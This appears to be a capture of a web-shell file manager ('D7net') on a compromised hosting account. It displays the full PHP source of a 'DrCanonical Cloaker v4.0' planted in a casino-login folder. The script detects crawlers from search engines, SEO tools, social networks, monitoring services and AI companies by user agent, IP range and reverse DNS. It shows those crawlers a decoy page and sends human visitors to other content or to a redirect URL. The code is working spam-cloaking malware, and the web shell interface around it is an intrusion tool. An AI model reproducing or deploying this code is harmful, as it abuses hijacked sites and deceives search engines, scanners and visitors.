D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
diafrica
/
public_html
/
configCRS
/
Jump
/
0-diafrica
/
vdcasino-giris
/
Filename :
index.php
back
Copy
<?php // DrCanonical Cloaker v4.0 - DO NOT EDIT // ===== LAYER 1: User-Agent (100+ patterns) ===== $_ua = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''); $_bot = ($_ua === ''); if (!$_bot) { $_bp = array( // Google (18) 'googlebot','google-inspectiontool','google-safety','google-site-verification', 'google-structured-data','google-xrawler','googleother','googlesecurityscanner', 'storebot-google','adsbot-google','mediapartners-google','feedfetcher-google', 'apis-google','google-adwords','googlebot-image','googlebot-news', 'googlebot-video','googlebot-mobile', // Bing (4) 'bingbot','msnbot','bingpreview','adidxbot', // Yahoo (2) 'slurp','yahoo', // Yandex (26) 'yandexbot','yandex.com/bots','yandeximages','yandexvideo', 'yandexmedia','yandexblogs','yandexfavicons','yandexwebmaster', 'yandexdirect','yandexmetrika','yandexnews','yandexpagechecker', 'yandeximageresizer','yandexcalendar','yandexsitelinks','yandexadnet', 'yandexmarket','yandexontodb','yandexvertis','yandexscreenshotbot', 'yandexmobilebot','yandexrenderresources','yandexaccessibilitybot', 'yandexfordomain','yandexturbo','yandexmediaadbot', // Baidu (4) 'baiduspider','baiduspider-image','baiduspider-video','baiduspider-news', // DuckDuckGo (2) 'duckduckbot','duckduckgo-favicons-bot', // Other search (12) 'sogou','exabot','ia_archiver','naver','naverbot','yeti', 'seznambot','ccbot','qwantify','petalbot','applebot','mail.ru_bot', // SEO (18) 'ahrefsbot','semrushbot','mj12bot','dotbot','rogerbot', 'screaming frog','deepcrawl','lumar','serpstatbot','linkdexbot', 'blexbot','dataforseo','megaindex','seokicks','sistrix', 'spbot','backlinkcrawler','turnitinbot', // Social (14) 'facebookexternalhit','facebot','twitterbot','linkedinbot', 'pinterest','whatsapp','telegrambot','slackbot','discordbot', 'skypeuripreview','viberurldownloader','snapchat','redditbot','kakaotalk', // AI crawlers (12) 'gptbot','chatgpt-user','claudebot','claude-web','anthropic', 'cohere-ai','perplexitybot','bytespider','amazonbot', 'youbot','ai2bot','diffbot', // Monitoring (7) 'uptimerobot','pingdom','statuscake','site24x7','newrelicpinger', 'datadog','checkly', // Generic (16) 'crawler','spider','bot/','bot;','http://','https://', 'wget','curl/','python-requests','python-urllib','java/', 'libwww','nutch','phpcrawl','go-http-client','headlesschrome', ); foreach ($_bp as $_p) { if (strpos($_ua, $_p) !== false) { $_bot = true; break; } } } // ===== LAYER 2: Known Bot IP Ranges ===== if (!$_bot && function_exists('ip2long')) { $_ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''; $_ipl = ip2long($_ip); if ($_ipl !== false) { $_ranges = array( // Google array(1089052736, 1089060863), // 66.249.64-95 array(1089069056, 1089077247), // 64.233.160-191 -> corrected array(1208025088, 1208041471), // 72.14.192-255 array(3512303616, 3512369151), // 209.85.128-255 array(3639508992, 3639517183), // 216.239.32-63 // Bing array(679329536, 679329791), // 40.77.167.0-255 array(2637529856, 2637530111), // 157.55.39.0-255 array(3476307712, 3476307967), // 207.46.13.0-255 array(881078272, 881078527), // 52.167.144.0-255 // Yandex array(100598528, 100598783), // 5.255.253.0-255 array(1297072384, 1297072639), // 77.88.5.0-255 array(1475674112, 1475682303), // 87.250.224-255 array(1570635008, 1570635263), // 93.158.161.0-255 array(1680605184, 1680613375), // 100.43.64-95 array(2374143488, 2374143743), // 141.8.142.0-255 array(2996699136, 2996731903), // 178.154.128-255 // Baidu array(3024093184, 3024158719), // 180.76.0-255 array(3702841344, 3702906879), // 220.181.0-255 array(1957560320, 1957625855), // 116.179.0-255 ); foreach ($_ranges as $_r) { if ($_ipl >= $_r[0] && $_ipl <= $_r[1]) { $_bot = true; break; } } } } // ===== LAYER 3: Reverse DNS for suspect requests ===== if (!$_bot && function_exists('gethostbyaddr')) { $_accept = isset($_SERVER['HTTP_ACCEPT']) ? $_SERVER['HTTP_ACCEPT'] : ''; if ($_accept === '' || $_accept === '*/*') { $_ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''; $_h = @gethostbyaddr($_ip); if ($_h && $_h !== $_ip) { $_h = strtolower($_h); $_bd = array('.googlebot.com','.google.com','.search.msn.com','.bing.com', '.yandex.ru','.yandex.net','.yandex.com','.crawl.yahoo.net', '.baidu.com','.sogou.com','.seznam.cz','.mail.ru','.naver.com'); foreach ($_bd as $_d) { if (substr($_h, -strlen($_d)) === $_d) { $_bot = true; break; } } } } } // ===== SERVE ===== if ($_bot) { @readfile(__DIR__ . '/cloack.html'); exit; } $_cf = @file_get_contents(__DIR__ . '/.dc-config.json'); $_c = $_cf ? (function_exists('json_decode') ? json_decode($_cf, true) : array()) : array(); $_vm = isset($_c['visitor_mode']) ? $_c['visitor_mode'] : 'content'; $_ru = isset($_c['redirect_url']) ? $_c['redirect_url'] : ''; if ($_vm === 'redirect' && $_ru !== '') { header('Location: ' . $_ru, true, 302); exit; } @readfile(__DIR__ . '/user.html');